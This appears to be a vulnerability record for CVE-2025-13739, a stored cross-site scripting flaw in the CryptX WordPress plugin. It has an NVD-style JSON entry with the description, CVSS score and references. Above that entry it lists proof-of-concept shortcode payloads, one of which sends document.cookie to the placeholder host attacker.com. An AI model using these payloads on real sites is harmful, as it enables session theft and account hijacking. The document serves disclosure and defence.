CVE-2025-13739

<!-- Stored XSS via cryptx shortcode --> [cryptx href='javascript:alert(document.domain)' onclick='alert(document.cookie)']Click Here[/cryptx] <!-- Alternative payload using data URI --> [cryptx href='data:text/html,<script>alert(String.fromCharCode(88,83,83))</script>']Malicious Link[/cryptx] <!-- Exfiltrate sensitive data --> [cryptx href='https://attacker.com/steal?c='+document.cookie onclick='fetch(this.href+document.cookie)']Click[/cryptx]

{"cve": {"id": "CVE-2025-13739", "sourceIdentifier": "[email protected]", "published": "2025-12-05T10:15:47.460", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CryptX plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `cryptx` shortcode in all versions up to, and including, 4.0.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/cryptx/tags/4.0.4/classes/CryptX.php#L1295", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cryptx/tags/4.0.4/classes/CryptX.php#L149", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cryptx/tags/4.0.4/classes/CryptX.php#L237", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cryptx/tags/4.0.4/classes/CryptX.php#L604", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3416363%40cryptx&new=3416363%40cryptx&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2f8cb7d7-eb40-403e-85de-c16200ee424d?source=cve", "source": "[email protected]"}]}}